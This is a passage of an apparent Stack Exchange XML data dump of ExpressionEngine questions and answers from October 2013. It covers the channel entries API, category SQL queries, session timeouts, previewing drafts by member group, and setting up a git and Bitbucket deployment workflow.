=&amp;gt; $entry-&amp;gt;title,&#xA;    'field_id_4' =&amp;gt; '',&#xA;    'field_ft_4' =&amp;gt; 'none',&#xA;    'field_id_5' =&amp;gt; $field_id_5_data,&#xA;    'field_ft_5' =&amp;gt; 'none',&#xA;    'field_id_6' =&amp;gt; $field_id_6_data,&#xA;    'field_ft_6' =&amp;gt; 'none',&#xA;    'field_id_7' =&amp;gt; $field_id_7_data,&#xA;    'field_ft_7' =&amp;gt; 'none',&#xA;    'entry_date' =&amp;gt; time(),&#xA;    'edit_date' =&amp;gt; time()&#xA;  );&#xA;&#xA;// This is how we'd set a Playa field&#xA;$data['field_id_4']['selections'] = array(1, 5, 7, 9);&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings(2, $data);&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry(2, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, this code was written before some recent API changes, so you will need to adjust the methods a bit to replace the deprecated ones with current ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps you get going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;It should be noted, as discussed in the comments that a session is required for the channel entries API to work. &lt;em&gt;grumble&lt;/em&gt; You'll need to fake it like this if you're going to do this from a CRON job or some other way that wouldn't already have a logged in member.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;create_new_session($member_id);&#xA;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;fetch_session_data();&#xA;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;fetch_member_data();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditDate="2013-10-31T12:41:47.617" LastActivityDate="2013-10-31T12:41:47.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15196" PostTypeId="1" CreationDate="2013-10-31T04:09:57.600" Score="0" ViewCount="55" Body="&lt;p&gt;How can I get a list of categories that share entries with the currently selected category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Huh? Let me explain&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a channel called Portfolio&lt;/li&gt;&#xA;&lt;li&gt;Portfolio channel has two category groups (client and role)&lt;/li&gt;&#xA;&lt;li&gt;I have a page listing all clients (categories)&lt;/li&gt;&#xA;&lt;li&gt;I would like to list all clients who I have made a website (for example) for&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-31T04:09:57.600" Title="Get categories that contain entries that are in the current category" Tags="|categories|sql|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15197" PostTypeId="2" ParentId="15196" CreationDate="2013-10-31T04:09:57.600" Score="1" Body="&lt;pre&gt;&lt;code&gt;{preload_replace:group_to_display=&quot;1&quot;}&#xA;{preload_replace:current_category_id=&quot;15&quot;}&#xA;&#xA;{exp:query sql=&quot;&#xA;    SELECT DISTINCT `cats`.*&#xA;    FROM `exp_category_posts` AS `posts`&#xA;    INNER JOIN `exp_categories` AS `cats`&#xA;    ON `posts`.`cat_id` = `cats`.`cat_id`&#xA;    WHERE `group_id` = {group_to_display}&#xA;    AND `entry_id` IN (&#xA;        SELECT DISTINCT `entry_id`&#xA;        FROM `exp_category_posts`&#xA;        WHERE `cat_id` = {current_category_id}&#xA;    )&#xA;    ORDER BY `cat_name` ASC;&#xA;&quot;}&#xA;    {cat_name}&#xA;    {cat_url_title}&#xA;    etc...&#xA;{/exp:query}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have used preload replace variables to show where the variables would go in the query. In reality you would use Low Seg2cat or something similar.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-31T04:09:57.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15199" PostTypeId="1" AcceptedAnswerId="19140" CreationDate="2013-10-31T07:21:36.360" Score="4" ViewCount="4303" Body="&lt;p&gt;I can't seem to prevent auto logouts from happening (EE 2.7.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the config item 'admin_session_type' to 'c', which is confirmed in the control panel (reads: 'Cookies only' in Security and Session Preferences).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also set the 'cp_session_ttl' to 3 days in the config, but logouts happen after 30 mins or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have even printed config object in a template AND the control panel to double check that it's set right, and it is (output: [user_session_type] =&gt; c [admin_session_type] =&gt; c [cp_session_ttl] =&gt; 259200).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why I'm being logged out all the time?&lt;/p&gt;&#xA;" OwnerUserId="1792" LastActivityDate="2014-02-05T21:17:05.857" Title="How to prevent idle session logout?" Tags="|control-panel|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15200" PostTypeId="2" ParentId="15199" CreationDate="2013-10-31T08:26:09.883" Score="4" Body="&lt;p&gt;You should use &quot;Stay Forever&quot; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://johndwells.com/blog/stay-up-forever-take-control-of-ee-session-time-limit&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.com/blog/stay-up-forever-take-control-of-ee-session-time-limit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/stay-up-forever&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/stay-up-forever&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this extension you can set control panel session length.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-31T08:26:09.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15201" PostTypeId="1" AcceptedAnswerId="15205" CreationDate="2013-10-31T10:13:26.237" Score="3" ViewCount="1230" Body="&lt;p&gt;I'm currently looking for a neat way to preview content before it gets set live. The ideal setup would be to have a status &quot;draft&quot; that is shown on the frontend to super-admin and maybe other CMS user groups if setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with the live look feature but I think it would be nicer to switch the status parameter in the tags depending on the user logged in group_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have come up against is the parsing order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post looks like its doing exactly what I want &lt;a href=&quot;http://themetaq.com/articles/a-better-way-to-preview-entries-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://themetaq.com/articles/a-better-way-to-preview-entries-in-expressionengine&lt;/a&gt; but couldn't get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to keep this as out of the box as possible, rather than a using an add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2293" LastActivityDate="2013-10-31T11:53:38.430" Title="Previewing content on site before going live" Tags="|channel-entries|status|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15202" PostTypeId="2" ParentId="15201" CreationDate="2013-10-31T10:41:09.203" Score="0" Body="&lt;p&gt;I have developed a small add-on for this. It essentially creates/turns some user variables into early global config vars&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This extension adds logged_in_member_id and logged_in_group_id to the&#xA;  global variables array so they are parsed early and can be used in&#xA;  simple conditionals.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if logged_in_member_id != &quot;0&quot;}&#xA;    {exp:channel:entries status=&quot;open|members_only&quot;}&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;  {/if} &#xA;  {if logged_in_member_id == &quot;0&quot;}&#xA;    {exp:channel:entries status=&quot;open&quot;}&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you rely, for some&#xA;  reason, on logged_in_member_id being parsed late, the extension also&#xA;  adds global_member_id and global_group_id for convenience.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/global-member-vars&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/global-member-vars&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-10-31T10:41:09.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15203" PostTypeId="2" ParentId="7116" CreationDate="2013-10-31T10:41:49.713" Score="0" Body="&lt;p&gt;Much earlier, I did it for Channel Entry Form and FreeForm by developing an extension. On submitting the form, the extension generate PDF (with TCPDF/FPDF) and that generated PDF will be sent as attachment to provided email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process seemed me pretty simple and did everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, this approach would help you. Please let me know if I can share more idea.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-31T10:41:49.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15204" PostTypeId="1" AcceptedAnswerId="15216" CreationDate="2013-10-31T11:18:20.813" Score="1" ViewCount="175" Body="&lt;p&gt;I have a template that submits to stripe and gets back a 200 and a token through store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the token comes back, I am getting no 'complete the order process' at all. The template doesn't submit and no error shows. I get no order in Store control panel, and no purchase call for stripe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you shed some light on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/emagine/7248059&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/emagine/7248059&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-31T20:13:35.963" Title="Expresso Store - Stripe Payment Issue" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15205" PostTypeId="2" ParentId="15201" CreationDate="2013-10-31T11:33:08.373" Score="1" Body="&lt;p&gt;[Edited]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Low Variables (or some other add-on) that allows global variables to be parsed early, you can do this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--ORIGINAL POST--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to do this without an add-on is to use a snippet with simple conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a snippet &lt;code&gt;sn-statuses&lt;/code&gt; with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_id == &quot;1&quot;}Open|Draft{/if} &#xA;{if logged_in_member_id != &quot;1&quot;}Open{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your template, pull in the snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; status=&quot;{sn-statuses}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-31T11:40:56.860" LastActivityDate="2013-10-31T11:40:56.860" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15206" PostTypeId="2" ParentId="15201" CreationDate="2013-10-31T11:45:22.117" Score="1" Body="&lt;p&gt;I prefer to always work without add-ons, if I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use to create a snippet with this code and put it inside the &lt;code&gt;exp:channel:entries&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if status !=&quot;open&quot; OR entry_date &amp;gt; current_time}&#xA;    {if author_id != logged_in_member_id AND logged_in_group_id != 1}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;open&lt;/code&gt; isn't the only status the users can see, you can improve the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if status != &quot;open&quot; &amp;amp;&amp;amp; status != &quot;featured&quot; OR entry_date &amp;gt; current_time}&#xA;    {if author_id != logged_in_member_id AND logged_in_group_id != 1}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I prefer to check for &lt;code&gt;status&lt;/code&gt; that are different for the open ones because, sometimes, a new one can be created and maybe it shouldn't be viewed yet.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-31T11:45:22.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15207" PostTypeId="2" ParentId="15201" CreationDate="2013-10-31T11:47:59.393" Score="1" Body="&lt;p&gt;&lt;strong&gt;The Stash method.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know you want an add-on-free version, but why? Stash is free, supported, and helps with performance.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Toward the top of your template set the statuses based on the group_id of logged in member.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;statuses&quot;}{if group_id == &quot;1&quot; || group_id == &quot;6&quot;}open|draft{if:else}open{/if}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then get that variable in your channel entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;{exp:stash:get name='statuses' parse_tags='yes' parse_conditionals='yes'}&quot; channel=&quot;my_channel&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;  {exp:stash:set_list name=&quot;blog_listing&quot; parse_tags=&quot;yes&quot;}&#xA;   ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-31T11:53:38.430" LastActivityDate="2013-10-31T11:53:38.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15208" PostTypeId="2" ParentId="14871" CreationDate="2013-10-31T12:26:28.893" Score="1" Body="&lt;p&gt;The file upload option is now available from the LINK icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JTFR.png&quot; alt=&quot;WYGWAM file upload&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you click on Browse Server, you'll get the native EE file upload dialog window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TmMUF.png&quot; alt=&quot;EE file upload&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to confirm, when clicking on the image icon, I am seeing the Browse Server button as well. I'm running EE 2.7.2 and WYGWAM 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5hTM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-31T20:10:14.293" LastActivityDate="2013-10-31T20:10:14.293" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15210" PostTypeId="1" AcceptedAnswerId="15213" CreationDate="2013-10-31T12:36:33.813" Score="7" ViewCount="1088" Body="&lt;p&gt;I've got a live EE site and I need to put it under version control using multi-environment config settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to set a git workflow, so these would be the steps I believe are right for my needs: I just want to track templates, css, js and html changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;STEPS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Using SFTP, download all production files to my local machine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Dump a production SQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Then, on my local machine I make a fresh install of ExpressionEngine, using the same EE version as the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 - I put in place Focuslab config settings for local, staging and production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 - Add all production files to my local web root&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6 - Import the dumped database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7 - Site is ready in local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 - Then, I add .gitgnore to ignore all upload images, media and cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9 - Git init&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 - My local site is ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11 - Then, I go to the staging server to create the staging site just by repeating  3, 4, 5 and 6 steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12 - Now, on local I will be able to test addons, for instance, and git push them to the staging site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TWO QUESTIONS: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;On the production server I should modify config to use the Focuslab config settings?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I guess, even though I'm not tracking uploaded content, I still have to synchronise production database with the local db, every time I make a change in local, like using a new addon?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="532" LastEditorUserId="69" LastEditDate="2013-11-01T11:10:31.843" LastActivityDate="2013-11-01T12:01:50.347" Title="Setting up Git version control for a multi-environment workflow" Tags="|focus-lab-master-config|git|workflow|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15211" PostTypeId="1" CreationDate="2013-10-31T12:59:45.750" Score="1" ViewCount="267" Body="&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_entries&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;clients&quot; limit=&quot;5&quot;}&#xA;&#xA;        {stash:entry_title}{title}{/stash:entry_title}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;related_entries_{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;            {!-- this is a matrix tag pair --}&#xA;            {contact_docs}&#xA;                {stash:related_title}{mx_doc_title}{/stash:related_title}&#xA;            {/contact_docs}&#xA;        {/exp:stash:set_list:nested}    &#xA;&#xA;    {/exp:channel:entries}  &#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;my_entries&quot;}&#xA;&#xA;    Entry title: {entry_title}&#xA;&#xA;    Related:&#xA;    {exp:stash:get_list:nested name=&quot;related_entries_{entry_id}&quot;}&#xA;        {related_title}&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{contact_docs}&lt;/code&gt; have &lt;code&gt;{mx_doc_title}&lt;/code&gt; field.&#xA;Let say if there is 1 more custom field, &lt;code&gt;{type}&lt;/code&gt;, and it can be a multiple item.&#xA;How to I store it and retrieve it?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastEditorUserId="69" LastEditDate="2013-10-31T18:15:58.337" LastActivityDate="2013-10-31T18:15:58.337" Title="Stash - How to nest within a nested Matrix set_list?" Tags="|stash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15213" PostTypeId="2" ParentId="15210" CreationDate="2013-10-31T13:19:50.293" Score="16" Body="&lt;p&gt;&lt;em&gt;I'll add to this as needed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have ssh access to the server, start there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Connect via ssh to the production server via Terminal (or iTerm app). &lt;code&gt;cd&lt;/code&gt; to the root of your site (or the directory where you want to track changes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;2)&lt;/strong&gt; Type the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;git config --global user.name &quot;SITE NAME Prod Server&quot;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;git config --global user.email johndoe@example.com&lt;/code&gt; use company or your email&lt;br&gt;&#xA;&lt;code&gt;git init&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;git add .&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;git commit -am &quot;initial commit, all files added&quot;&lt;/code&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have your site files tracked on your production server. For good practice (and ease), next you'll set up a central repo &quot;hub&quot;. (See comments below for some thoughts on this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;3)&lt;/strong&gt; Sign up for Bitbucket (or pay for GitHub). Note: you can't put an EE site on a public repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;4)&lt;/strong&gt; Back on your production ssh connection, create an ssh public/private key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type &lt;br&gt;&#xA;&lt;code&gt;cd ~&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;ssh-keygen -t rsa -C &quot;your_email@example.com&quot;&lt;/code&gt;&lt;br&gt;&#xA;Follow step 2 of GitHub's helpful instructions: &lt;a href=&quot;https://help.github.com/articles/generating-ssh-keys#step-2-generate-a-new-ssh-key&quot;&gt;https://help.github.com/articles/generating-ssh-keys#step-2-generate-a-new-ssh-key&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;5)&lt;/strong&gt; Copy your key to your computer's clipboard from Terminal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type&lt;br&gt;&#xA;&lt;code&gt;pbcopy &amp;lt; ~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;6)&lt;/strong&gt; Add this key to Bitbucket so you can push to their server. &lt;a href=&quot;https://confluence.atlassian.com/display/BITBUCKET/Set+up+SSH+for+Git#SetupSSHforGit-#installpublickeyStep6.InstallthepublickeyonyourBitbucketaccount&quot;&gt;See how: step 6 here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;7)&lt;/strong&gt; Create an empty repo on Bitbucket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;8)&lt;/strong&gt; Now let's connect your server's repo to your new Bitbucket repo. Back in Terminal, type:&lt;br&gt;&#xA;&lt;code&gt;cd /path/to/your/project&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;git status&lt;/code&gt; - make sure you are actually in your repo&lt;br&gt;&#xA;&lt;code&gt;git remote add origin https://USERNAME@bitbucket.org/USERNAME/MY-REPO.git&lt;/code&gt; - Use your Bitbucket username and repo short name.&lt;br&gt;&#xA;You should see it processing to send the files. After it's done, check Bitbucket and make sure your source files are there now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;9)&lt;/strong&gt; Pull the repo to your local machine (or staging/dev server). Grab the ssh clone command from Bitbucket for your repo (it will be something like &lt;code&gt;git clone git@bitbucket.org:USERNAME/MY-REPO.git&lt;/code&gt;).&lt;br&gt;&lt;br&gt;&#xA;Using terminal, go to your local machine's (or staging/dev server's) directory where you want to add the site files. Note that this will create a root folder, so I usually name my repo folder 'public_html`.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type your clone command:&lt;br&gt;&#xA;&lt;code&gt;git clone git@bitbucket.org:USERNAME/MY-REPO.git public_html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;10)&lt;/strong&gt; To be able push to Bitbucket from your local machine (or staging/dev server), follow steps 4-6 for your local machine (or staging/dev server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here, you are connected from local to production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;11)&lt;/strong&gt; Add a .gitignore file to your local root directory (in this example, /public_html/.gitignore) to ignore all upload images, media and cache (and whatever else you don't want to track). Don't ignore the .gitignore file because you want it added to your other environments too.&lt;br&gt;&#xA;&lt;a href=&quot;https://gist.github.com/shoeshine/7264360&quot;&gt;Example .gitignore file for EE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find that your newly ignored files are still being tracked, try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;git commit -am &quot;your commit message&quot;&lt;/code&gt; (you need to first commit current changes)&lt;br&gt;&#xA;&lt;code&gt;git rm -r --cached .&lt;/code&gt;&lt;br&gt;&#xA;(Or if you just want to cherry pick a file: &lt;code&gt;git rm --cached path/to/file/to/ignore&lt;/code&gt;)&lt;br&gt;&#xA;&lt;code&gt;git add .&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;git commit -m &quot;fixed untracked files&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;12)&lt;/strong&gt; Add &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;Focus Lab's EE master config&lt;/a&gt; (follow their instructions) paying special attention to set the correct &lt;em&gt;production&lt;/em&gt; and local database info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a team and each developer will be working on the site with his/her own local database, it is helpful to make a copy of config.local.php (rename to EXAMPLE.config.local.php), then ignore config.local.php so the local db settings are not committed and pushed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;13)&lt;/strong&gt; Export your live site's database and import it into your local site's database.&lt;br&gt;&#xA;Do whatever other steps you may need to get your local site running properly. Sync upload directories and/or templates in EE, as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be running an exact copy of your live site now.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;14)&lt;/strong&gt; Once you have your local site running with the Master Config, commit those changes.&lt;br&gt;&#xA;&lt;code&gt;git commit -am &quot;message describing changes for this commit&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Make changes locally, commit, push (&lt;code&gt;git push origin master&lt;/code&gt;). Then pull from your server via ssh connection (&lt;code&gt;git pull origin master&lt;/code&gt;) when you're ready to make those changes live. Or setup an auto-deploy hook/action for your server. Any database changes you make locally will have to replicated on the live site, so make careful note of them!&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-01T12:01:50.347" LastActivityDate="2013-11-01T12:01:50.347" CommentCount="17" CommunityOwnedDate="2013-11-01T12:01:50.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="15214" PostTypeId="1" CreationDate="2013-10-31T14:22:49.373" Score="0" ViewCount="68" Body="&lt;p&gt;All text either pasted or typed into my WYGWAM fields shows as bold. Viewing source shows there are no strong tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is unable to tell which items are actually bolded because of this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched online extensively and can't find anyone else having this issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine 2.7.2&#xA;Wygwam 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other add-ons installed: &#xA;Pages 2.2 &#xA;Freeform Pro 4.1.3&#xA;Field Editor 1.0.4&#xA;Rich Text Editor 1.0.1&lt;/p&gt;&#xA;" OwnerUserId="2298" LastActivityDate="2013-10-31T14:22:49.373" Title="WYGWAM: All text showing as bold (though without strong tag)" Tags="|wygwam|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
